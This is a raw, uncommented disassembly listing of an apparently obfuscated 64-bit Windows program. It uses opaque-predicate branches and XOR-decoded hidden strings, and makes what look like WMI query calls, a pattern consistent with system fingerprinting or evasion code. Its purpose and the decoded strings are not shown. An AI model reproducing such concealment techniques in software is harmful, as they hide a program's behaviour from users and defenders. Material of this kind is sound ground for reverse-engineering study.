mov r15, qword [rax + 8]
mov r12, qword [rax + 0x10]
test bpl, bpl
je 0x14001fb97
mov qword [rsp + 0x120], rdi
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x120], rsi
mov rdx, qword [rsp + 0x120]
call fcn.140019290
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, qword [rax + 0x10]
jmp 0x14001fb30
mov rbx, rax
mov rdi, qword [rax + 0x18]
mov eax, dword [0x141dbfe88]
or eax, dword [0x141dbfe8c]
or eax, 0xec66640
add eax, 0x962e2a79
and eax, 0xd61e1969
cmp eax, 0x7e21df15
jb 0x14001fec0
jmp 0x14001fe89
movabs rdi, 0x1f74dc86f97dd092
lea rbx, [0x141da65f8]
lea r14, [rsp + 0x120]
movabs r15, 0x45ebc7a8b5615dc4
movabs r12, 0xedca2599ec5fdc7
movabs r13, 0xb5491db0c86e2d52
mov eax, dword [0x141dc0300]
and eax, dword [0x141dc0304]
and eax, 0x4c9b281a
imul ebp, eax, 0xff26ec10
add ebp, 0xf117bed
mov qword [rsp + 0x120], rbx
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x120], rdi
mov rdx, qword [rsp + 0x120]
call fcn.14001bdb0
mov rcx, qword [rax]
xor rcx, r15
mov rdx, qword [rax + 8]
xor rdx, r12
mov r8, qword [rax + 0x10]
xor r8, r13
mov r9, qword [rax + 0x18]
cmp ebp, 0xb3940c1d
jae 0x14001fc9b
mov qword [rsp + 0x120], rbx
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x120], rdi
mov rdx, qword [rsp + 0x120]
call fcn.14001bdb0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
jmp 0x14001fc00
mov r10d, 0xac3ce8b3
movabs r11, 0xe6f279b749158f2f
xor r9, r11
nop
mov r11d, dword [0x141dc0308]
xor r11d, dword [0x141dc030c]
imul r11, r10
shr r11, 0x3f
imul ebx, r11d, 0xd18ea444
and ebx, 0xe8a5a338
movzx r11d, byte [rax + 0x22]
movzx edi, word [rax + 0x20]
cmp ebx, 0xe5303517
jbe 0x14001fcf0
movzx r11d, byte [rax + 0x22]
movzx r11d, word [rax + 0x20]
jmp 0x14001fcb0
mov eax, edi
shr eax, 8
xor dil, 0xf5
xor al, 0x67
xor r11b, 0x5d
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r9
mov byte [rsp + 0x90], dil
mov byte [rsp + 0x91], al
mov byte [rsp + 0x92], r11b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x23
mov qword [rsp + 0xd0], rsi
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
cmp qword [rsp + 0x288], 0
je 0x14001fe3f
nop dword [rax]
mov eax, dword [str.b_eA5]
xor edx, edx
div dword [0x141dc0314]
imul eax, eax, 0xa6a8499c
add eax, 0x3535c6c6
cmp eax, 0xfe7138ec
ja 0x14001fdc0
mov eax, dword [0x141dc0318]
xor eax, dword [0x141dc031c]
or eax, 0x7e1a46ee
imul rcx, rax, 0x4931bf0b
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
or eax, 0x357aacf0
cmp eax, 0x76c0b743
mov r8, qword [rsp + 0x280]
jbe 0x14001fe30
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rsp + 0x280]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x290]
call fcn.14000fa20
nop dword [rax]
mov eax, dword [0x141dc0320]
add eax, dword [str.__Pt]
or eax, 0x7ad6e1d3
imul eax, eax, 0x2e52630a
and eax, 0xcbe784cc
cmp eax, 0x6243834
jb 0x14001fe50
jmp 0x1400243c2
ud2
mov esi, dword [0x141dbfe90]
and esi, dword [0x141dbfe94]
add esi, 0xe3001b82
xor esi, 0x73415f6
movzx ebp, byte [rbx + 0x20]
movzx eax, byte [0x141dd7ff8]
mov edx, 0x21
xor ecx, ecx
call fcn.1400beea0
cmp esi, 0xac72d70a
jbe 0x14001fed9
movzx eax, byte [rbx + 0x20]
movzx eax, byte [0x141dd7ff8]
mov edx, 0x21
xor ecx, ecx
call fcn.1400beea0
jmp 0x14001fe89
test rax, rax
je 0x1400221e7
xor bpl, 0x38
mov byte [rsp + 0x38], bpl
mov rbp, rax
movabs rax, 0xb8e3b3571abd91f6
xor r14, rax
movabs rax, 0xc555faa31fafb673
xor r15, rax
movabs rax, 0x99e207453a3553c3
xor r12, rax
movabs rax, 0x4b556e75f853b3c0
xor rdi, rax
mov qword [rsp + 0xf8], rdi
nop word [rax + rax]
mov eax, dword [0x141dbfea0]
xor edx, edx
div dword [0x141dbfea4]
imul rdi, rax, 0x76d9c2db
shr rdi, 0x3e
add edi, 0x4d7d9361
mov qword [rbp], r14
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], r12
mov rax, qword [rsp + 0xf8]
mov qword [rbp + 0x18], rax
movzx eax, byte [rsp + 0x38]
mov byte [rbp + 0x20], al
lea rax, [0x141da6acf]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x18df362b9eef8309
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14001a1e0
mov rsi, qword [rax]
mov rbx, qword [rax + 8]
mov r13, qword [rax + 0x10]
cmp edi, 0x6a72eb9b
ja 0x14001ff30
mov qword [rsp + 0x118], rbp
movzx eax, byte [0x141dd7ff8]
mov edx, 0x18
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x14001ea28
mov r11, rax
movabs r9, 0x58a4a10f1b52dc8e
movabs r8, 0x238ecb689027d34f
movabs rcx, 0xe787520a6957539
mov eax, dword [0x141dbfea8]
xor edx, edx
div dword [0x141dbfeac]
and eax, 0x35be14de
add eax, 0x2b0a7a65
or eax, 0x8ae2c0e7
cmp eax, 0x914cfca8
jae 0x140020061
mov rax, r13
xor rax, r9
mov rdx, rsi
xor rdx, r8
mov r10, rbx
xor r10, rcx
mov qword [r11], rdx
mov qword [r11 + 8], r10
mov qword [r11 + 0x10], rax
lea rax, [0x141dadcf7]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
xor r13, r9
xor rsi, r8
xor rbx, rcx
mov qword [r11], rsi
mov qword [r11 + 8], rbx
mov qword [rsp + 0x228], r11
mov qword [r11 + 0x10], r13
lea rax, [0x141dadcf7]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0xe5f98342d6285a21
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14001bef0
mov r15, qword [rax]
mov rsi, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov r13, qword [rax + 0x18]
movzx ebx, word [rax + 0x20]
movzx edi, byte [rax + 0x22]
movzx eax, byte [0x141dd7ff8]
mov edx, 0x23
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x14001ea28
shl edi, 0x10
or ebx, edi
movabs rdx, 0x61cf02dc56a93119
movabs r8, 0x41dc7afdb30c80d6
mov r14, rax
mov rax, r15
nop dword [rax]
mov r15d, dword [0x141dbfeb0]
or r15d, dword [0x141dbfeb4]
mov ebp, ebx
xor bpl, 0x3c
mov r9, r13
xor r9, r8
mov r10, r12
xor r10, rdx
mov r11, rsi
movabs rcx, 0x6755d812e4d7bb81
xor r11, rcx
mov rdi, rax
movabs rcx, 0x769b8c2e4422b878
xor rdi, rcx
mov qword [r14], rdi
mov qword [r14 + 8], r11
mov qword [r14 + 0x10], r10
mov qword [r14 + 0x18], r9
mov byte [r14 + 0x20], bpl
xor r15d, 0xe7cac7f8
imul r15, r15, 0x225d1779
shr r15, 0x3d
add r15d, 0x24c65e25
cmp r15d, 0x105e74a9
jae 0x1400201a3
mov ebp, ebx
xor bpl, 0x3c
mov qword [r14], rdi
mov qword [r14 + 8], r11
mov qword [r14 + 0x10], r10
mov qword [r14 + 0x18], r9
mov byte [r14 + 0x20], bpl
jmp 0x140020110
mov eax, ebx
shr eax, 0x10
xor al, 0xf4
shr ebx, 8
xor bl, 0xa
mov byte [r14 + 0x21], bl
mov byte [r14 + 0x22], al
lea rax, [0x141dad4ba]
mov qword [rsp + 0x120], rax
lea rdi, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0xcf7fd1b26766d6fe
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140019970
mov rbx, qword [rax]
mov r15, qword [rax + 8]
mov ebp, dword [rax + 0x10]
movzx r12d, word [rax + 0x14]
movzx eax, byte [0x141dd7ff8]
mov edx, 0x16
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x140022219
movabs r13, 0xa5467b565817a88d
movabs rdx, 0x3bea48f17edcc1a5
movabs rcx, 0x248c1265d77fbad7
mov r8d, dword [0x141dbfec0]
imul r8d, dword [0x141dbfec4]
imul r8d, r8d, 0xe21325c0
imul r8, r8, 0x91f74b1
shr r8, 0x3a
or r8d, 0xc125d5bc
cmp r8d, 0xb978b4f4
jae 0x1400202c2
mov r8d, r12d
shr r8d, 8
xor r8b, 0x6b
mov r9d, r12d
xor r9b, 0x9a
mov r10d, ebp
xor r10d, 0x2c7e60eb
mov r11, r15
xor r11, rdx
mov rsi, rbx
xor rsi, rcx
mov qword [rax], rsi
mov qword [rax + 8], r11
mov dword [rax + 0x10], r10d
mov byte [rax + 0x14], r9b
mov byte [rax + 0x15], r8b
lea r8, [0x141db0eec]
mov qword [rsp + 0x120], r8
mov qword [rsp + 0x120], r13
mov qword [rsp + 0x110], r14
mov r8d, r12d
shr r8d, 8
xor r8b, 0x6b
xor r12b, 0x9a
xor ebp, 0x2c7e60eb
xor r15, rdx
xor rbx, rcx
mov qword [rax], rbx
mov qword [rax + 8], r15
mov dword [rax + 0x10], ebp
mov byte [rax + 0x14], r12b
mov qword [rsp + 0x220], rax
mov byte [rax + 0x15], r8b
lea rcx, [0x141db0eec]
mov qword [rsp + 0x120], rcx
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x120], r13
mov rdx, qword [rsp + 0x120]
call fcn.1400188e0
mov rcx, qword [rax]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0xf8], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xf0], rax
movzx eax, byte [0x141dd7ff8]
mov edx, 0x20
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x1400225c9
mov r14, rax
movabs rbp, 0x6c589f3c6aac093d
mov ebx, dword [0x141dbfec8]
and ebx, dword [0x141dbfecc]
and ebx, 0xd4addb92
xor ebx, 0x1d58cb93
add ebx, 0x1c7780d3
mov r15, qword [rsp + 0xf0]
movabs rax, 0x52076ed2119b041e
xor r15, rax
mov r13, qword [rsp + 0x100]
movabs rax, 0xddef675c26542d24
xor r13, rax
mov rsi, qword [rsp + 0xf8]
movabs rax, 0x2c88e1ff13aee591
xor rsi, rax
mov rdi, qword [rsp + 0x38]
movabs rax, 0xb30939af6e080738
xor rdi, rax
mov qword [r14], rdi
mov qword [r14 + 8], rsi
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], r15
lea rax, [0x141da4ee7]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
mov r12, rbp
mov qword [rsp + 0x120], rbp
mov rdx, qword [rsp + 0x120]
call fcn.14001a950
mov r10, qword [rax]
mov r9, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov edx, dword [rax + 0x18]
movzx ecx, word [rax + 0x1c]
movzx ebp, byte [rax + 0x1e]
cmp ebx, 0x9934ed6a
jbe 0x1400204b4
mov qword [r14], rdi
mov qword [r14 + 8], rsi
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], r15
lea rax, [0x141da4ee7]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
mov rbp, r12
mov qword [rsp + 0x120], r12
mov rdx, qword [rsp + 0x120]
call fcn.14001a950
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx ecx, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
jmp 0x140020380
mov r12, r10
mov r15, r9
mov rbx, r8
mov edi, edx
mov esi, ecx
mov qword [rsp + 0x38], r14
movzx eax, byte [0x141dd7ff8]
mov edx, 0x1f
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x1400225c9
mov r13, rax
shl ebp, 0x10
mov r8d, esi
or r8d, ebp
mov eax, r8d
shr eax, 0x10
xor al, 0xf1
mov ecx, r8d
shr ecx, 8
xor cl, 0x97
xor r8b, 0x35
xor edi, 0x7d92d63f
movabs rdx, 0x5ce374e06fa0b477
xor rbx, rdx
movabs rdx, 0xa05c538181284305
xor r15, rdx
movabs rdx, 0xe5e5d8da0f3ca662
xor r12, rdx
mov qword [r13], r12
mov qword [r13 + 8], r15
mov qword [r13 + 0x10], rbx
mov dword [r13 + 0x18], edi
mov byte [r13 + 0x1c], r8b
mov byte [r13 + 0x1d], cl
mov byte [r13 + 0x1e], al
lea rax, [0x141dad744]
mov qword [rsp + 0x120], rax
lea r15, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x350cd65ad7c552e3
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.1400194b0
mov rsi, qword [rax]
mov r14, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov rbp, qword [rax + 0x18]
movzx eax, byte [0x141dd7ff8]
mov eax, dword [0x141dbfed0]
xor eax, dword [0x141dbfed4]
and eax, 0xc9dd379a
imul edi, eax, 0x61b85a25
and edi, 0xda4128a2
mov edx, 0x20
xor ecx, ecx
call fcn.1400beea0
cmp edi, 0x4ff35c63
jb 0x1400205a0
mov rbx, rax
test rax, rax
je 0x1400223fd
mov ecx, dword [0x141dbfee8]
xor ecx, dword [0x141dbfeec]
movabs rax, 0xf3210060a1efa6f8
imul ecx, ecx, 0xcc8395d2
add ecx, 0xf7a7e6d4
cmp ecx, 0x5220461
jae 0x140020610
mov rcx, rsi
xor rcx, rax
mov qword [rbx], rcx
movabs rcx, 0xec61b6186c600319
xor rbp, rcx
movabs rcx, 0x34d0b5017ceec360
xor r12, rcx
movabs rcx, 0x30bfe9a5b6805736
xor r14, rcx
xor rsi, rax
nop word [rax + rax]
mov eax, dword [0x141dbfef0]
xor edx, edx
div dword [0x141dbfef4]
add eax, 0x185ccdc0
mov qword [rbx], rsi
cmp eax, 0x70c94ab4
ja 0x140020640
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], rbp
lea rax, [0x141db0086]
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x120]
movabs rax, 0xdd9f4446d57f8bd0
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14001ad20
mov rdi, qword [rax]
mov r14, qword [rax + 8]
mov rbp, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
movzx esi, word [rax + 0x20]
movzx eax, byte [0x141dd7ff8]
mov edx, 0x22
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x1400225c9
mov r12, rax
mov qword [rsp + 0xf8], r13
mov eax, esi
shr eax, 8
nop
mov ecx, dword [0x141dbfef8]
xor ecx, dword [0x141dbfefc]
cmp ecx, 0x5672baed
je 0x1400206e0
xor al, 0xe4
xor sil, 0x3c
movabs rcx, 0x69592385a5d30595
xor rdi, rcx
movabs rcx, 0x579b6acce81d0731
xor r14, rcx
movabs rcx, 0xb967bf03629c020d
xor rbp, rcx
movabs rcx, 0x8e66bf789e78f040
xor r15, rcx
mov qword [r12], rdi
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], rbp
mov qword [r12 + 0x18], r15
mov byte [r12 + 0x20], sil
mov byte [r12 + 0x21], al
lea rax, [0x141da432d]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0xc90af1440f2faed5
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140018aa0
mov r13, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx esi, byte [rax + 0x1c]
movzx eax, byte [0x141dd7ff8]
mov edx, 0x1d
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x14002229e
movabs rcx, 0x657fd4eeeda5e03
xor r14, rcx
movabs rcx, 0x6ec9d88f3628e07c
xor r15, rcx
movabs rcx, 0xd5405059d663aea2
xor r13, rcx
mov qword [rax], r13
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
xor edi, 0xc6367791
mov dword [rax + 0x18], edi
xor sil, 0x93
mov byte [rax + 0x1c], sil
mov rdx, qword [rsp + 0x230]
mov qword [rdx], 0x21
mov rcx, qword [rsp + 0x118]
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], 0x21
mov qword [rdx + 0x18], 0x18
mov rcx, qword [rsp + 0x228]
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], 0x18
mov qword [rdx + 0x30], 0x23
mov rcx, qword [rsp + 0x110]
mov qword [rdx + 0x38], rcx
mov qword [rdx + 0x40], 0x23
mov qword [rdx + 0x48], 0x16
mov rcx, qword [rsp + 0x220]
mov qword [rdx + 0x50], rcx
mov qword [rdx + 0x58], 0x16
mov qword [rdx + 0x60], 0x20
mov rcx, qword [rsp + 0x38]
mov qword [rdx + 0x68], rcx
mov qword [rdx + 0x70], 0x20
mov qword [rdx + 0x78], 0x1f
mov rcx, qword [rsp + 0xf8]
mov qword [rdx + 0x80], rcx
mov qword [rdx + 0x88], 0x1f
mov qword [rdx + 0x90], 0x20
mov qword [rdx + 0x98], rbx
mov qword [rdx + 0xa0], 0x20
mov qword [rdx + 0xa8], 0x22
mov qword [rdx + 0xb0], r12
mov qword [rdx + 0xb8], 0x22
mov ecx, dword [0x141dbff08]
and ecx, dword [0x141dbff0c]
and ecx, 0xc4264500
or ecx, 0x23d8ba5c
imul ecx, ecx, 0xd3469fc6
cmp ecx, 0x871fe873
jbe 0x140020929
mov qword [rdx + 0xc0], 0x1d
mov qword [rdx + 0xc8], rax
mov qword [rdx + 0xd0], 0x1d
lea r14, [rsp + 0x128]
nop word cs:[rax + rax]
mov ecx, dword [0x141dbff10]
and ecx, dword [0x141dbff14]
add ecx, 0x5d61b81
or ecx, 0x9ddb9abf
xor ecx, 0x20b03f29
mov qword [rdx + 0xc0], 0x1d
mov qword [rdx + 0xc8], rax
mov qword [rdx + 0xd0], 0x1d
cmp ecx, 0x46e38c32
jb 0x140020940
lea rcx, [rdx + 0x20]
mov edx, 0xc0
xor eax, eax
lea r12, [0x1400ffe44]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x250], rdx
mov qword [rsp + 0x248], rcx
mov rcx, rax
lea rax, [rax + rax*2]
inc rcx
mov qword [rsp + 0x218], rcx
mov rdx, qword [rsp + 0x230]
mov r8, qword [rdx + rax*8]
movabs rcx, 0x8000000000000000
mov qword [rsp + 0x238], r8
cmp r8, rcx
je 0x140021c8d
lea rcx, [rdx + rax*8]
nop dword [rax]
mov eax, dword [0x141dbff38]
xor edx, edx
div dword [0x141dbff3c]
imul eax, eax, 0xa6ab612a
xor eax, 0xe58f01ad
add eax, 0xec85b145
cmp eax, 0x1b6ed4
jb 0x1400209f0
mov rax, qword [rcx + 8]
mov qword [rsp + 0xf0], rax
mov rsi, qword [rcx + 0x10]
nop word cs:[rax + rax]
mov eax, dword [0x141dbff40]
or eax, dword [0x141dbff44]
or eax, 0xfbc4c8ee
add eax, 0xe524c597
cmp eax, 0xb2418d73
jb 0x140020a30
test rsi, rsi
js 0x14001ea28
nop word cs:[rax + rax]
mov eax, dword [0x141dbff48]
imul eax, dword [0x141dbff4c]
cmp eax, 0x96e65544
je 0x140020a60
test rsi, rsi
je 0x140020aa0
movzx eax, byte [0x141dd7ff8]
xor ecx, ecx
mov rdx, rsi
call fcn.1400beea0
test rax, rax
je 0x14001ea28
mov rbx, rax
jmp 0x140020aa5
mov ebx, 1
mov eax, dword [0x141dbff50]
and eax, dword [0x141dbff54]
or eax, 0xf5065153
imul rax, rax, 0xa3546c7
shr rax, 0x3a
or eax, 0x154a0aae
cmp eax, 0xc3c5422d
jbe 0x140020b35
mov rcx, rbx
mov rdx, qword [rsp + 0xf0]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 3
mov rcx, r12
call fcn.1400dba40
mov rdi, rax
mov rcx, rbx
mov rdx, rsi
call fcn.1400dba40
mov rcx, qword [rsp + 0x260]
mov qword [rsp + 0x70], 0
mov r10, qword [rcx]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov r8, rax
mov r9d, 0x30
call qword [r10 + 0xa0]
mov rdi, rsi
nop dword [rax + rax]
mov eax, dword [0x141dbff58]
xor eax, dword [0x141dbff5c]
shr eax, 1
mov ecx, 0x878ee19d
imul rax, rcx
shr rax, 0x3e
or eax, 0x53866e66
imul esi, eax, 0x12384fb7
mov rcx, rbx
mov rdx, qword [rsp + 0xf0]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov edx, 3
mov rcx, r12
call fcn.1400dba40
mov rbp, rax
mov rcx, rbx
mov rdx, rdi
call fcn.1400dba40
mov r13, rax
mov rcx, qword [rsp + 0x260]
mov qword [rsp + 0x70], 0
mov rax, qword [rcx]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rbp
mov r8, r13
mov r9d, 0x30
call qword [rax + 0xa0]
cmp esi, 0x65645b19
jb 0x140020b40
mov r12, rdi
test eax, eax
js 0x140022278
nop word [rax + rax]
mov eax, dword [0x141dbff60]
or eax, dword [0x141dbff64]
xor eax, 0xe8ffcada
add eax, 0x6422c473
xor eax, 0x28fbd787
cmp eax, 0xd14294aa
jb 0x140020bf0
mov rdi, qword [rsp + 0x70]
test rdi, rdi
je 0x140022c99
test r13, r13
je 0x140020c90
mov eax, dword [0x141dbff90]
xor edx, edx
div dword [0x141dbff94]
and eax, 0x9d31c08
xor eax, 0xd46cfc21
cmp eax, 0xda94335e
jbe 0x140020c4d
mov rcx, r13
call qword [sym.imp.oleaut32.dll_SysFreeString]
mov rcx, r13
call qword [sym.imp.oleaut32.dll_SysFreeString]
nop word cs:[rax + rax]
mov eax, dword [0x141dbff98]
and eax, dword [0x141dbff9c]
imul rax, rax, 0x14458627
shr rax, 0x3b
add eax, 0xc4ecbccb
cmp eax, 0x5322e8bd
jb 0x140020c60
nop word cs:[rax + rax]
mov eax, dword [str.2_r_]
or eax, dword [0x141dbffa4]
add eax, 0x4c97197f
xor eax, 0xa5ed25d
imul eax, eax, 0xa8b16c6d
cmp eax, 0xa51f4461
ja 0x140020c90
nop word cs:[rax + rax]
mov eax, dword [0x141dbffa8]
sub eax, dword [0x141dbffac]
add eax, 0xccc3a25d
imul rax, rax, 0x17fb9ac9
shr rax, 0x3c
imul eax, eax, 0x8ecb6c30
cmp eax, 0x7e3ed6d9
jb 0x140020cc0
test rbp, rbp
je 0x140020cf7
mov rcx, rbp
call qword [sym.imp.oleaut32.dll_SysFreeString]
test r12, r12
je 0x140020d2d
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, rbx
call r15
nop dword [rax + rax]
mov eax, dword [0x141dbffb0]
or eax, dword [0x141dbffb4]
or eax, 0xe106488f
add eax, 0x593f1c07
cmp eax, 0x8427cf85
jae 0x140020d10
mov byte [rsp + 0x1f0], 0x12
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x10c], 0
mov rax, qword [rdi]
lea rcx, [rsp + 0x10c]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov edx, 0xffffffff
mov r8d, 1
lea r9, [rsp + 0x70]
call qword [rax + 0x20]
mov ebx, eax
test eax, eax
lea rcx, [rsp + 0x120]
js 0x140021d3b
mov eax, dword [rsp + 0x10c]
nop dword [rax + rax]
mov edx, dword [0x141dbffe0]
and edx, dword [0x141dbffe4]
add edx, 0xb67730a3
or edx, 0xe2c8d96a
imul edx, edx, 0xf9821aa
cmp edx, 0xace32bb3
ja 0x140020d90
test eax, eax
je 0x140021c55
mov eax, dword [0x141dbfff8]
imul eax, dword [str.oly]
add eax, 0x78e70220
and eax, 0x100e412
cmp eax, 0x1ab63a3c
mov rdx, qword [rsp + 0x70]
nop
mov eax, dword [0x141dc0000]
add eax, dword [0x141dc0004]
imul eax, eax, 0x68c3587a
add eax, 0xd826f846
cmp eax, 0x5f687657
jb 0x140020de0
test rdx, rdx
je 0x140021ef9
call fcn.140003220
mov rsi, qword [rsp + 0x120]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
test rsi, rsi
je 0x140021f94
mov rbx, qword [rsp + 0x148]
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xe0], xmm1
movzx eax, byte [0x141dd7ff8]
mov edx, 0xc0
xor ecx, ecx
call fcn.1400beea0
test rax, rax
je 0x14002224a
mov r12, rax
mov eax, dword [0x141dc0028]
sub eax, dword [0x141dc002c]
and eax, 0x8612322c
or eax, 0x78c885d0
imul eax, eax, 0x35c51347
cmp eax, 0x92204d89
jb 0x140021300
nop dword [rax]
mov eax, dword [0x141dc0030]
xor edx, edx
div dword [0x141dc0034]
or eax, 0xd58341f0
imul eax, eax, 0xcb6ebe2a
add eax, 0x4449dcdc
mov qword [r12], rsi
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movdqu xmmword [r12 + 8], xmm0
movups xmmword [r12 + 0x18], xmm1
mov qword [r12 + 0x28], rbx
cmp eax, 0x878310f8
ja 0x140021300
mov qword [rsp + 0x268], 4
mov qword [rsp + 0x270], r12
mov qword [rsp + 0x278], 1
mov r13d, 1
jmp 0x140020f50
shl rax, 4
mov qword [r12 + rax], rsi
movdqa xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movdqu xmmword [r12 + rax + 8], xmm0
movups xmmword [r12 + rax + 0x18], xmm1
mov qword [r12 + rax + 0x28], rbx
inc r13
mov qword [rsp + 0x278], r13
mov qword [rsp + 0x100], r13
mov eax, dword [0x141dc0038]
xor edx, edx
div dword [0x141dc003c]
imul eax, eax, 0x39714759
and eax, 0x2bbe2f9b
imul eax, eax, 0xc71d039b
cmp eax, 0xd60a2df6
jne 0x140020fb8
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x10c], 0
mov rax, qword [rdi]
lea rcx, [rsp + 0x10c]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov edx, 0xffffffff
mov r8d, 1
lea r9, [rsp + 0x70]
call qword [rax + 0x20]
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x10c], 0
mov rax, qword [rdi]
lea rcx, [rsp + 0x10c]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov edx, 0xffffffff
mov r8d, 1
lea r9, [rsp + 0x70]
call qword [rax + 0x20]
mov ebp, eax
test eax, eax
mov qword [rsp + 0x38], r12
js 0x140021330
mov eax, dword [rsp + 0x10c]
nop dword [rax + rax]
mov ecx, dword [0x141dc0058]
add ecx, dword [0x141dc005c]
or ecx, 0xd7bfb58d
add ecx, 0x313e14f3
cmp ecx, 0x780ac558
ja 0x140021010
mov r10d, dword [rsp + 0x110]
nop dword [rax + rax]
mov ecx, dword [0x141dc0060]
add ecx, dword [0x141dc0064]
xor ecx, 0x22020173
or ecx, 0x9dfdda84
add ecx, 0xd80d5af0
cmp ecx, 0x23a80616
jb 0x140021040
test eax, eax
je 0x140021410
mov r12, qword [rsp + 0x70]
nop word cs:[rax + rax]
mov eax, dword [0x141dc0078]
sub eax, dword [0x141dc007c]
xor eax, 0xd19b039
imul rax, rax, 0x7560f941
shr rax, 0x39
imul eax, eax, 0xb2b154c9
cmp eax, 0x273da511
ja 0x140021080
test r12, r12
lea r13, [rsp + 0x120]
mov ebp, 0xbbcb1f25
je 0x140021430
mov eax, dword [0x141dc0098]
xor eax, dword [0x141dc009c]
imul eax, eax, 0x2459efbf
add eax, 0x795496a6
cmp eax, 0x9049521f
ja 0x140021250
nop word cs:[rax + rax]
mov ebx, dword [0x141dc00a0]
add ebx, dword [0x141dc00a4]
and ebx, 0x1a0d8d78
add ebx, 0x28f831ca
or ebx, 0x593bb5f3
mov rcx, r13
mov rdx, r12
call fcn.140003220
mov rsi, qword [rsp + 0x120]
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
cmp ebx, 0xd79a5e8d
